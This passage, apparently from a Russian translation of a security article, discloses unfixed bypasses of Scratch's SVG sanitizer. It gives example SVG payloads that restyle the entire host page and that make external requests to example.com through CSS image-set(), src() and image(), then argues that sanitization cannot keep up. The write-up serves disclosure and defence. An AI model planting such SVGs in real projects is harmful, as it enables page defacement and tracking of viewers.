style=\"width:14px;height:14px;object-fit:cover;object-position:left;\"\/><\/a><\/div><\/pre>\n<p>\u0412\u0442\u043e\u0440\u043e\u0439 \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u0442 \u0441\u0442\u0438\u043b\u0438 \u0434\u043b\u044f \u043e\u0442\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u0438\u044f:<\/p>\n<pre><code class=\"xml\">&lt;svg xmlns=\"http:\/\/www.w3.org\/2000\/svg\" width=\"200\" height=\"100\"&gt;  &lt;rect x=\"0\" y=\"0\" width=\"200\" height=\"100\" fill=\"#111\"&gt;&lt;\/rect&gt;  &lt;text x=\"100\" y=\"55\" fill=\"#0f0\" font-size=\"12\" text-anchor=\"middle\"&gt;    Styles  &lt;\/text&gt;  &lt;style&gt;    \/* \u0413\u043b\u043e\u0431\u0430\u043b\u044c\u043d\u044b\u0439 \u0441\u0438\u043d\u0438\u0439 \u0444\u043e\u043d *\/    * {      background-color: blue !important;      color: white !important;    }    \/* \u0421\u0442\u0438\u043b\u0438\u0437\u0430\u0446\u0438\u044f \u0438\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u0439\/\u043e\u043f\u0438\u0441\u0430\u043d\u0438\u044f \u043f\u0440\u043e\u0435\u043a\u0442\u0430 *\/    .project-description, .instructions-container {      background-color: yellow !important;      color: black !important;      border: 10px solid red !important;      transform: scale(1.1) !important;    }  &lt;\/style&gt;&lt;\/svg&gt;<\/code><div class=\"code-explainer\"><a href=\"https:\/\/sourcecraft.dev\/\" class=\"tm-button code-explainer__link\" style=\"visibility: hidden;\"><img style=\"width:14px;height:14px;object-fit:cover;object-position:left;\"\/><\/a><\/div><\/pre>\n<p>\u041d\u0435 \u0431\u0443\u0434\u0443 \u0434\u0435\u043b\u0430\u0442\u044c \u0432\u0438\u0434, \u0447\u0442\u043e \u043f\u043e\u043d\u0438\u043c\u0430\u044e \u043f\u0440\u043e\u0438\u0441\u0445\u043e\u0434\u044f\u0449\u0435\u0435 \u0437\u0434\u0435\u0441\u044c, \u0438 \u043f\u043e\u0447\u0435\u043c\u0443 \u044d\u0442\u043e \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442 \u043d\u0435\u0434\u0435\u0442\u0435\u0440\u043c\u0438\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e, \u043d\u043e \u0432 \u0446\u0435\u043b\u043e\u043c \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u044f\u044e \u044d\u0442\u043e \u0442\u0430\u043a:<\/p>\n<ul>\n<li>\n<p>\u0422\u0440\u0438\u0433\u0433\u0435\u0440\u043d\u044b\u0439 SVG \u043f\u0440\u0438\u043c\u0435\u043d\u044f\u0435\u0442 <code>transform<\/code>\u00a0\u0438 <code>filter<\/code>\u00a0\u043a \u043a\u0430\u0436\u0434\u043e\u043c\u0443 \u044d\u043b\u0435\u043c\u0435\u043d\u0442\u0443 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430, \u0447\u0442\u043e\u0431\u044b \u0432\u044b\u043d\u0443\u0434\u0438\u0442\u044c \u0431\u0440\u0430\u0443\u0437\u0435\u0440 \u0441\u0440\u0430\u0437\u0443 \u0436\u0435 \u0437\u0430\u043d\u043e\u0432\u043e \u0432\u044b\u0447\u0438\u0441\u043b\u0438\u0442\u044c \u0432\u0441\u0435 \u0441\u0442\u0438\u043b\u0438, \u043f\u0440\u0438\u043c\u0435\u043d\u0438\u0432 \u0441\u0442\u0438\u043b\u0438 \u0438\u0437 \u0434\u0440\u0443\u0433\u043e\u0433\u043e SVG.<\/p>\n<\/li>\n<li>\n<p>\u0422\u0440\u0438\u0433\u0433\u0435\u0440\u043d\u044b\u0439 SVG \u043f\u0440\u0438\u043c\u0435\u043d\u044f\u0435\u0442 \u043e\u0447\u0435\u043d\u044c \u0434\u043e\u043b\u0433\u0438\u0439 <code>transition<\/code>, \u0447\u0442\u043e\u0431\u044b \u043f\u043e\u0441\u043b\u0435 \u0443\u0434\u0430\u043b\u0435\u043d\u0438\u044f \u0434\u0440\u0443\u0433\u043e\u0433\u043e SVG \u0441\u0442\u0438\u043b\u0438 \u0441\u043e\u0445\u0440\u0430\u043d\u044f\u043b\u0438\u0441\u044c \u0432 \u0442\u0435\u0447\u0435\u043d\u0438\u0435 \u0432\u0441\u0435\u0433\u043e \u00ab\u043f\u0435\u0440\u0435\u0445\u043e\u0434\u0430\u00bb<\/p>\n<\/li>\n<\/ul>\n<p>\u042d\u0442\u0430 \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u043d\u0435 \u0440\u0435\u0448\u0435\u043d\u0430.<\/p>\n<p>\u0427\u0442\u043e \u0436, \u0435\u0441\u043b\u0438 \u0435\u0451 \u0440\u0435\u0448\u0430\u0442, \u0442\u043e SVG \u043d\u0430\u0432\u0435\u0440\u043d\u044f\u043a\u0430 \u0431\u0443\u0434\u0443\u0442 \u043f\u043e\u043b\u043d\u043e\u0441\u0442\u044c\u044e \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u044b \u0438 \u0431\u043e\u043b\u044c\u0448\u0435 \u043d\u0435 \u043f\u043e\u0442\u0440\u0435\u0431\u0443\u044e\u0442 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0439.<\/p>\n<h3>2026 \u0433\u043e\u0434: HTTP-\u0443\u0442\u0435\u0447\u043a\u0430 \u0447\u0435\u0440\u0435\u0437 image-set()<\/h3>\n<p>\u042f \u0441\u043e\u043e\u0431\u0449\u0430\u043b \u043e \u043d\u0435\u0439 \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u0430\u043c Scratch \u0432 2025 \u0433\u043e\u0434\u0443. \u041e\u043d\u0438 \u0435\u0451 \u043d\u0435 \u0443\u0441\u0442\u0440\u0430\u043d\u0438\u043b\u0438, \u043f\u043e\u044d\u0442\u043e\u043c\u0443 \u044f \u0440\u0430\u0441\u043a\u0440\u044b\u0432\u0430\u044e \u0435\u0451 \u0432 \u044d\u0442\u043e\u0439 \u0441\u0442\u0430\u0442\u044c\u0435. \u0412\u0441\u0435 \u0440\u0430\u0437\u0443\u043c\u043d\u044b\u0435 \u0441\u0440\u043e\u043a\u0438 \u0440\u0430\u0441\u043a\u0440\u044b\u0442\u0438\u044f \u043f\u0440\u043e\u0448\u043b\u0438 \u0443\u0436\u0435 \u043f\u043e\u043b\u0433\u043e\u0434\u0430 \u043d\u0430\u0437\u0430\u0434.<\/p>\n<p>\u0412\u043c\u0435\u0441\u0442\u043e <code>url()<\/code> \u043d\u0430\u043f\u0430\u0434\u0430\u044e\u0449\u0438\u0439 \u043c\u043e\u0436\u0435\u0442 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c <code>image-set()<\/code>, \u0447\u0442\u043e\u0431\u044b \u0441\u043e\u0437\u0434\u0430\u0442\u044c SVG, \u043f\u0440\u0438 \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0435 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u044e\u0449\u0438\u0439 \u0432\u043d\u0435\u0448\u043d\u0438\u0439 \u0437\u0430\u043f\u0440\u043e\u0441. \u041f\u0440\u0438\u043c\u0435\u0440\u044b:<\/p>\n<pre><code class=\"xml\">&lt;svg xmlns=\"http:\/\/www.w3.org\/2000\/svg\"&gt;    &lt;!--        image-set(...) \u043c\u043e\u0436\u0435\u0442 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0432\u043d\u0435\u0448\u043d\u0438\u0435 \u0440\u0435\u0441\u0443\u0440\u0441\u044b, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043c\u043e\u0436\u043d\u043e \u0437\u0430\u043f\u0440\u0430\u0448\u0438\u0432\u0430\u0442\u044c \u0431\u0435\u0437 url().    --&gt;    &lt;style&gt;        .image-set-with-string-url {            background-image: image-set(\"https:\/\/example.com\/ping\" 1x);        }    &lt;\/style&gt;    &lt;rect class=\"image-set-with-string-url\" \/&gt;    &lt;!--        image-set(url(...)) \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442 \u0430\u043d\u0430\u043b\u043e\u0433\u0438\u0447\u043d\u043e image-set(...).        \u0422\u0430\u043a\u043e\u0439 \u0441\u043f\u043e\u0441\u043e\u0431 \u0443\u0436\u0435 \u0431\u043b\u043e\u043a\u0438\u0440\u0443\u0435\u0442\u0441\u044f \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u044e\u0449\u0435\u0439 \u0441\u0430\u043d\u0430\u0446\u0438\u0435\u0439.    --&gt;    &lt;style&gt;        .image-set-with-inner-url-function {            background-image: image-set(url(https:\/\/example.com\/ping) 1x);        }    &lt;\/style&gt;    &lt;rect class=\"image-set-with-inner-url-function\"&gt;&lt;\/rect&gt;    &lt;!--        image-set() \u0442\u0430\u043a\u0436\u0435 \u043c\u043e\u0436\u0435\u0442 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c\u0441\u044f \u0434\u043b\u044f \u0432\u0441\u0442\u0440\u0430\u0438\u0432\u0430\u043d\u0438\u044f \u0430\u0442\u0440\u0438\u0431\u0443\u0442\u043e\u0432 \u0441\u0442\u0438\u043b\u0435\u0439.    --&gt;    &lt;rect style=\"background-image: image-set('https:\/\/example.com\/ping' 1x)\" \/&gt;&lt;\/svg&gt;<\/code><div class=\"code-explainer\"><a href=\"https:\/\/sourcecraft.dev\/\" class=\"tm-button code-explainer__link\" style=\"visibility: hidden;\"><img style=\"width:14px;height:14px;object-fit:cover;object-position:left;\"\/><\/a><\/div><\/pre>\n<p>\u042d\u0442\u0430 \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u043d\u0435 \u0440\u0435\u0448\u0435\u043d\u0430.<\/p>\n<p>\u0427\u0442\u043e \u0436, \u0435\u0441\u043b\u0438 \u0435\u0451 \u0440\u0435\u0448\u0430\u0442, \u0442\u043e SVG \u043d\u0430\u0432\u0435\u0440\u043d\u044f\u043a\u0430 \u0431\u0443\u0434\u0443\u0442 \u043f\u043e\u043b\u043d\u043e\u0441\u0442\u044c\u044e \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u044b \u0438 \u0431\u043e\u043b\u044c\u0448\u0435 \u043d\u0435 \u043f\u043e\u0442\u0440\u0435\u0431\u0443\u044e\u0442 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0439.<\/p>\n<h3>20XX \u0433\u043e\u0434: HTTP-\u0443\u0442\u0435\u0447\u043a\u0430 \u0447\u0435\u0440\u0435\u0437 \u043d\u043e\u0432\u044b\u0435 \u0444\u0438\u0447\u0438 CSS<\/h3>\n<p>\u041e\u0431 \u044d\u0442\u043e\u043c \u044f \u0442\u043e\u0436\u0435 \u0441\u043e\u043e\u0431\u0449\u0430\u043b \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u0430\u043c Scratch \u0432 2025 \u0433\u043e\u0434\u0443. \u041d\u0430 \u0441\u0430\u043c\u043e\u043c \u0434\u0435\u043b\u0435, \u044d\u0442\u043e\u0442 \u0431\u0430\u0433 \u043f\u043e\u043a\u0430 \u043d\u0435 \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442, \u043d\u043e \u043d\u0430\u0447\u043d\u0451\u0442 \u0440\u0430\u0431\u043e\u0442\u0430\u0442\u044c \u0432 \u0431\u0443\u0434\u0443\u0449\u0435\u043c, \u0435\u0441\u043b\u0438 \u0431\u0440\u0430\u0443\u0437\u0435\u0440\u044b \u0440\u0435\u0430\u043b\u0438\u0437\u0443\u044e\u0442 \u0432\u0441\u0435 <a href=\"https:\/\/www.w3.org\/TR\/css-values-4\/\" rel=\"noopener noreferrer nofollow\">CSS Units Level 4<\/a>\u00a0\u0438\u043b\u0438 <a href=\"https:\/\/drafts.csswg.org\/css-images-4\/\" rel=\"noopener noreferrer nofollow\">CSS Images Level 4<\/a>. \u0421\u0435\u0433\u043e\u0434\u043d\u044f <a href=\"https:\/\/ladybird.org\/\" rel=\"noopener noreferrer nofollow\">Ladybird<\/a>\u00a0\u2014 \u0435\u0434\u0438\u043d\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u0439 \u0440\u0435\u0430\u043b\u0438\u0437\u0443\u044e\u0449\u0438\u0439 \u0438\u0445 \u0431\u0440\u0430\u0443\u0437\u0435\u0440, \u043d\u043e \u0440\u0430\u043d\u043e \u0438\u043b\u0438 \u043f\u043e\u0437\u0434\u043d\u043e \u0438\u0445 \u043c\u043e\u0433\u0443\u0442 \u0440\u0435\u0430\u043b\u0438\u0437\u043e\u0432\u0430\u0442\u044c \u0438 \u0441\u0430\u043c\u044b\u0435 \u043f\u043e\u043f\u0443\u043b\u044f\u0440\u043d\u044b\u0435 \u0431\u0440\u0430\u0443\u0437\u0435\u0440\u044b.<\/p>\n<p>\u0412\u043c\u0435\u0441\u0442\u043e <code>url()<\/code> \u043d\u0430\u043f\u0430\u0434\u0430\u044e\u0449\u0438\u0439 \u043c\u043e\u0436\u0435\u0442 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c <a href=\"https:\/\/www.w3.org\/TR\/css-values-4\/#example-a2ee15a6\" rel=\"noopener noreferrer nofollow\"><code>src()<\/code><\/a>\u00a0\u0438\u043b\u0438 <a href=\"https:\/\/drafts.csswg.org\/css-images-4\/#funcdef-image\" rel=\"noopener noreferrer nofollow\"><code>image()<\/code><\/a>, \u0447\u0442\u043e\u0431\u044b \u0441\u043e\u0437\u0434\u0430\u0442\u044c SVG, \u043f\u0440\u0438 \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0435 \u0441\u043e\u0432\u0435\u0440\u0448\u0430\u044e\u0449\u0438\u0439 \u0432\u043d\u0435\u0448\u043d\u0438\u0439 \u0437\u0430\u043f\u0440\u043e\u0441. \u041f\u0440\u0438\u043c\u0435\u0440\u044b:<\/p>\n<pre><code class=\"xml\">&lt;svg xmlns=\"http:\/\/www.w3.org\/2000\/svg\"&gt;    &lt;!--        \u0412\u0441\u0451, \u0447\u0442\u043e \u0435\u0441\u0442\u044c \u0432 \u044d\u0442\u043e\u043c \u0444\u0430\u0439\u043b\u0435, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442 \u0444\u0438\u0447\u0438, \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0451\u043d\u043d\u044b\u0435 \u0432 \u0441\u043f\u0435\u0446\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u044f\u0445 \u0431\u0440\u0430\u0443\u0437\u0435\u0440\u043e\u0432, \u043d\u043e \u043f\u043e\u043a\u0430 \u043d\u0435 \u0440\u0435\u0430\u043b\u0438\u0437\u043e\u0432\u0430\u043d\u043d\u044b\u0435.        \u0422\u0435\u043e\u0440\u0435\u0442\u0438\u0447\u0435\u0441\u043a\u0438, \u0431\u0440\u0430\u0443\u0437\u0435\u0440\u044b \u0431\u0443\u0434\u0443\u0449\u0435\u0433\u043e \u043c\u043e\u0433\u0443\u0442 \u0438\u043d\u0438\u0446\u0438\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0437\u0430\u043f\u0440\u043e\u0441\u044b, \u043a\u043e\u0433\u0434\u0430 \u0443\u0432\u0438\u0434\u044f\u0442 \u044d\u0442\u0438 \u0441\u0442\u0438\u043b\u0438.    --&gt;    &lt;!--        CSS Units Level 4 \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u044f\u0435\u0442 src(...), \u043a\u0430\u043a \u0430\u043b\u044c\u0442\u0435\u0440\u043d\u0430\u0442\u0438\u0432\u0443 url(...).        \u0412 \u043e\u0442\u043b\u0438\u0447\u0438\u0435 \u043e\u0442 url(), URL src() \u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u043b\u044e\u0431\u044b\u043c \u0432\u044b\u0440\u0430\u0436\u0435\u043d\u0438\u0435\u043c, \u0430 \u043d\u0435 \u0442\u043e\u043b\u044c\u043a\u043e \u043f\u043e\u0441\u0442\u043e\u044f\u043d\u043d\u043e\u0439 \u0441\u0442\u0440\u043e\u043a\u043e\u0439.        \u0421\u0441\u044b\u043b\u043a\u0430: https:\/\/www.w3.org\/TR\/css-values-4\/#example-a2ee15a6        \u041f\u043e\u043a\u0430 \u043d\u0435 \u0440\u0435\u0430\u043b\u0438\u0437\u043e\u0432\u0430\u043d\u043e \u043d\u0438 \u0432 \u043e\u0434\u043d\u043e\u043c \u043f\u043e\u043f\u0443\u043b\u044f\u0440\u043d\u043e\u043c \u0431\u0440\u0430\u0443\u0437\u0435\u0440\u0435. (\u0422\u043e\u043b\u044c\u043a\u043e \u0432 \u044d\u043a\u0441\u043f\u0435\u0440\u0438\u043c\u0435\u043d\u0442\u0430\u043b\u044c\u043d\u043e\u043c \u0431\u0440\u0430\u0443\u0437\u0435\u0440\u0435 Ladybird)    --&gt;    &lt;style&gt;        .src-constant {            background: src('https:\/\/example.com\/ping');        }        .src-variable {            --url: 'https:\/\/example.com\/ping';            background: src(var(--url));        }    &lt;\/style&gt;    &lt;rect class=\"src-constant\" \/&gt;    &lt;rect class=\"src-variable\" \/&gt;    &lt;!--        CSS Images Level 4 \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u044f\u0435\u0442 image(), \u043a\u0430\u043a \u0430\u043b\u044c\u0442\u0435\u0440\u043d\u0430\u0442\u0438\u0432\u0443 url() \u0434\u043b\u044f \u0438\u0437\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u0438\u0439.        \u0421\u0441\u044b\u043b\u043a\u0430: https:\/\/www.w3.org\/TR\/css-images-4\/#image-notation        \u041f\u043e\u043a\u0430 \u043d\u0435 \u0440\u0435\u0430\u043b\u0438\u0437\u043e\u0432\u0430\u043d\u043e \u043d\u0438 \u0432 \u043e\u0434\u043d\u043e\u043c \u043f\u043e\u043f\u0443\u043b\u044f\u0440\u043d\u043e\u043c \u0431\u0440\u0430\u0443\u0437\u0435\u0440\u0435.    --&gt;    &lt;style&gt;        .image {            background: image('https:\/\/example.com\/ping', black);        }    &lt;\/style&gt;    &lt;rect class=\"image\" \/&gt;    &lt;!-- \u0410\u043d\u0430\u043b\u043e\u0433\u0438\u0447\u043d\u043e \u043f\u0440\u0438\u0432\u0435\u0434\u0451\u043d\u043d\u044b\u043c \u0432\u044b\u0448\u0435 \u043f\u0440\u0438\u043c\u0435\u0440\u0430\u043c, \u043d\u043e \u0441 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435\u043c \u0432\u0441\u0442\u0440\u043e\u0435\u043d\u043d\u044b\u0445 \u0441\u0442\u0438\u043b\u0435\u0439 --&gt;    &lt;rect style=\"background: src('https:\/\/example.com\/ping');\" \/&gt;    &lt;rect style=\"--url: 'https:\/\/example.com\/ping'; background: src(var(--url));\" \/&gt;    &lt;rect style=\"background: image('https:\/\/example.com\/ping', black);\" \/&gt;&lt;\/svg&gt;<\/code><div class=\"code-explainer\"><a href=\"https:\/\/sourcecraft.dev\/\" class=\"tm-button code-explainer__link\" style=\"visibility: hidden;\"><img style=\"width:14px;height:14px;object-fit:cover;object-position:left;\"\/><\/a><\/div><\/pre>\n<p>\u042d\u0442\u0430 \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u043d\u0435 \u0440\u0435\u0448\u0435\u043d\u0430.<\/p>\n<p>\u0427\u0442\u043e \u0436, \u0435\u0441\u043b\u0438 \u0435\u0451 \u0440\u0435\u0448\u0430\u0442, \u0442\u043e SVG \u043d\u0430\u0432\u0435\u0440\u043d\u044f\u043a\u0430 \u0431\u0443\u0434\u0443\u0442 \u043f\u043e\u043b\u043d\u043e\u0441\u0442\u044c\u044e \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u044b \u0438 \u0431\u043e\u043b\u044c\u0448\u0435 \u043d\u0435 \u043f\u043e\u0442\u0440\u0435\u0431\u0443\u044e\u0442 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0439.<\/p>\n<h3>\u0422\u0430\u043a\u0430\u044f \u0441\u0438\u0441\u0442\u0435\u043c\u0430 \u043d\u0435\u0443\u0441\u0442\u043e\u0439\u0447\u0438\u0432\u0430<\/h3>\n<p>\u0417\u0430\u0441\u043e\u0432\u044b\u0432\u0430\u043d\u0438\u0435 \u0432 \u043f\u0440\u043e\u0446\u0435\u0441\u0441 \u0441\u0430\u043d\u0430\u0446\u0438\u0438 \u0432\u0441\u0451 \u0431\u043e\u043b\u044c\u0448\u0435\u0439 \u0441\u043b\u043e\u0436\u043d\u043e\u0441\u0442\u0438 \u2014 \u044d\u0442\u043e \u043e\u0431\u0440\u0435\u0447\u0451\u043d\u043d\u043e\u0435 \u043d\u0430 \u043f\u0440\u043e\u0432\u0430\u043b \u0440\u0435\u0448\u0435\u043d\u0438\u0435. \u041c\u044b \u0443\u0436\u0435 \u0443\u0433\u043b\u0443\u0431\u0438\u043b\u0438\u0441\u044c \u043d\u0430 \u043f\u044f\u0442\u044c \u043a\u0440\u0443\u043f\u043d\u044b\u0445 \u0434\u043e\u0440\u0430\u0431\u043e\u0442\u043e\u043a, \u043d\u043e \u0434\u043e \u0441\u0438\u0445 \u043f\u043e\u0440 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u044e\u0442 \u0438\u0437\u0432\u0435\u0441\u0442\u043d\u044b\u0435 \u0434\u044b\u0440\u044b. \u041b\u044e\u0434\u0438 \u0430\u043a\u0442\u0438\u0432\u043d\u043e \u0434\u0435\u043b\u044f\u0442\u0441\u044f \u043f\u0440\u043e\u0435\u043a\u0442\u0430\u043c\u0438 \u043d\u0430 \u0432\u0435\u0431-\u0441\u0430\u0439\u0442\u0435 Scratch, \u043e\u0431\u0445\u043e\u0434\u044f \u0441\u0430\u043d\u0430\u0446\u0438\u044e SVG. \u0410 \u0432 \u043c\u043e\u043c\u0435\u043d\u0442, \u043a\u043e\u0433\u0434\u0430 \u0432 \u0431\u0440\u0430\u0443\u0437\u0435\u0440\u0430\u0445 \u0440\u0435\u0448\u0430\u0442 \u0440\u0435\u0430\u043b\u0438\u0437\u043e\u0432\u0430\u0442\u044c \u043f\u043e\u0441\u043b\u0435\u0434\u043d\u0438\u0435 \u0441\u043f\u0435\u0446\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438 CSS, \u043e\u0442\u043a\u0440\u043e\u0435\u0442\u0441\u044f \u0435\u0449\u0451 \u0431\u043e\u043b\u044c\u0448\u0435 \u0434\u044b\u0440.<\/p>\n<p>\u041a\u0440\u043e\u043c\u0435 \u0442\u043e\u0433\u043e, \u043d\u0435 \u0443 \u0432\u0441\u0435\u0445 \u044d\u0442\u0438\u0445 \u043f\u0440\u043e\u0431\u043b\u0435\u043c \u0435\u0441\u0442\u044c \u0447\u0451\u0442\u043a\u0438\u0435 \u0440\u0435\u0448\u0435\u043d\u0438\u044f. \u0412 \u0441\u043b\u0443\u0447\u0430\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0441 \u043f\u043e\u043b\u043d\u043e\u0439 \u0441\u0442\u0438\u043b\u0438\u0437\u0430\u0446\u0438\u0435\u0439 \u0441\u0442\u0440\u0430\u043d\u0438\u0446\u044b \u043e\u0431\u0430 SVG \u0432\u044b\u0433\u043b\u044f\u0434\u044f\u0442 \u0441\u043e\u0432\u0435\u0440\u0448\u0435\u043d\u043d\u043e \u043d\u0435\u0432\u0438\u043d\u043d\u043e: \u0432 \u043d\u0438\u0445 \u043d\u0435\u0442 JavaScript \u0438 \u0441\u0441\u044b\u043b\u043e\u043a \u043d\u0430 \u0432\u043d\u0435\u0448\u043d\u0438\u0435 \u0440\u0435\u0441\u0443\u0440\u0441\u044b. \u0412\u0435\u0440\u043e\u044f\u0442\u043d\u043e, \u0443\u0441\u0442\u0440\u0430\u043d\u0438\u0442\u044c \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0443 \u043c\u043e\u0436\u043d\u043e \u0431\u044b\u043b\u043e \u0431\u044b, \u0443\u0434\u0430\u043b\u0438\u0432 \u0441\u0442\u0438\u043b\u0438 <code>transition<\/code>, \u043f\u043e\u0442\u043e\u043c\u0443 \u0447\u0442\u043e \u0432 Scratch \u043f\u0435\u0440\u0435\u0445\u043e\u0434\u044b \u0432\u0441\u0451 \u0440\u0430\u0432\u043d\u043e \u043d\u0438\u043a\u043e\u0433\u0434\u0430 \u043d\u0435 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u044e\u0442\u0441\u044f, \u043d\u043e \u0443\u0432\u0435\u0440\u0435\u043d\u044b \u043b\u0438 \u043c\u044b, \u0447\u0442\u043e \u044d\u0442\u043e\u0433\u043e \u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e? \u0412\u0441\u043f\u043e\u043c\u043d\u0438\u043c \u043b\u0438 \u043c\u044b, \u0447\u0442\u043e \u043d\u0443\u0436\u043d\u043e \u0443\u0434\u0430\u043b\u0438\u0442\u044c \u0432\u0441\u0435 \u0432\u0435\u0440\u0441\u0438\u0438 <code>transition<\/code> \u0441 \u043f\u0440\u0435\u0444\u0438\u043a\u0441\u0430\u043c\u0438 \u043f\u043e\u0441\u0442\u0430\u0432\u0449\u0438\u043a\u0430? \u0410 \u0447\u0442\u043e \u043d\u0430\u0441\u0447\u0451\u0442 \u0441\u0442\u0438\u043b\u0435\u0439 <code>animation<\/code>?<\/p>\n<p>\u0412\u043e\u0442 \u043d\u0435\u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0434\u0440\u0443\u0433\u0438\u0435 \u043f\u0440\u0438\u043c\u0435\u0440\u044b, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043c\u043e\u0433\u0443\u0442 \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0438\u0442\u044c \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c \u043e\u0431\u0445\u043e\u0434\u0430 \u0437\u0430\u0449\u0438\u0442\u044b \u0432 \u0431\u0443\u0434\u0443\u0449\u0435\u043c:<\/p>\n<ul>\n<li>\n<p><code>css-tree<\/code>\u00a0(\u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0430, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c\u0430\u044f Scratch \u0434\u043b\u044f \u043f\u0430\u0440\u0441\u0438\u043d\u0433\u0430 CSS) \u0438 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0435 \u043f\u0430\u0440\u0441\u0435\u0440\u044b CSS \u0431\u0440\u0430\u0443\u0437\u0435\u0440\u043e\u0432 \u043c\u043e\u0433\u0443\u0442 \u0441\u043e\u0432\u043f\u0430\u0434\u0430\u0442\u044c \u043d\u0435 \u043f\u043e\u043b\u043d\u043e\u0441\u0442\u044c\u044e. \u0412 \u044d\u0442\u043e\u043c \u0441\u043b\u0443\u0447\u0430\u0435 <code>css-tree<\/code>\u00a0\u043c\u043e\u0436\u0435\u0442 \u0441\u043f\u0430\u0440\u0441\u0438\u0442\u044c CSS \u0442\u0430\u043a, \u0447\u0442\u043e \u0432\u0441\u0451 \u0432\u044b\u0433\u043b\u044f\u0434\u0438\u0442 \u043f\u0440\u0430\u0432\u0438\u043b\u044c\u043d\u043e, \u0430 \u0437\u043d\u0430\u0447\u0438\u0442, \u043d\u0438\u0447\u0435\u0433\u043e \u043d\u0435 \u0443\u0434\u0430\u043b\u0438\u0442\u0441\u044f, \u043d\u043e \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0439 \u043f\u0430\u0440\u0441\u0435\u0440 \u0431\u0440\u0430\u0443\u0437\u0435\u0440\u0430 \u043f\u043e\u0442\u043e\u043c \u0440\u0430\u0441\u043f\u043e\u0437\u043d\u0430\u0435\u0442 \u0432\u043d\u0435\u0448\u043d\u0438\u0439 \u043a\u043e\u043d\u0442\u0435\u043d\u0442.<\/p>\n<\/li>\n<li>\n<p>\u041f\u0440\u043e\u0434\u0432\u0438\u043d\u0443\u0442\u044b\u0435 \u043d\u043e\u0432\u044b\u0435 \u0444\u0438\u0447\u0438 CSS \u043d\u0430\u043f\u043e\u0434\u043e\u0431\u0438\u0435 <a href=\"https:\/\/developer.mozilla.org\/en-US\/docs\/Web\/CSS\/Reference\/At-rules\/@property\" rel=\"noopener noreferrer nofollow\"><code>@property<\/code><\/a>\u00a0\u0438\u043b\u0438 <a href=\"https:\/\/developer.mozilla.org\/en-US\/docs\/Web\/CSS\/Guides\/Nesting\/Using\" rel=\"noopener noreferrer nofollow\">native nesting<\/a>, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0432\u0435\u0440\u0441\u0438\u0438 <code>css-tree<\/code>, \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e, \u043d\u0435 \u0441\u043c\u043e\u0433\u0443\u0442 \u043e\u0441\u043c\u044b\u0441\u043b\u0435\u043d\u043d\u043e \u043f\u0430\u0440\u0441\u0438\u0442\u044c \u0431\u0435\u0437 \u043f\u043e\u0441\u0442\u043e\u044f\u043d\u043d\u044b\u0445 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0439.<\/p>\n<\/li>\n<li>\n<p>\u0411\u0440\u0430\u0443\u0437\u0435\u0440\u044b \u0432\u0441\u0435\u0433\u0434\u0430 \u043c\u043e\u0433\u0443\u0442 \u0434\u043e\u0431\u0430\u0432\u0438\u0442\u044c \u043d\u043e\u0432\u044b\u0435 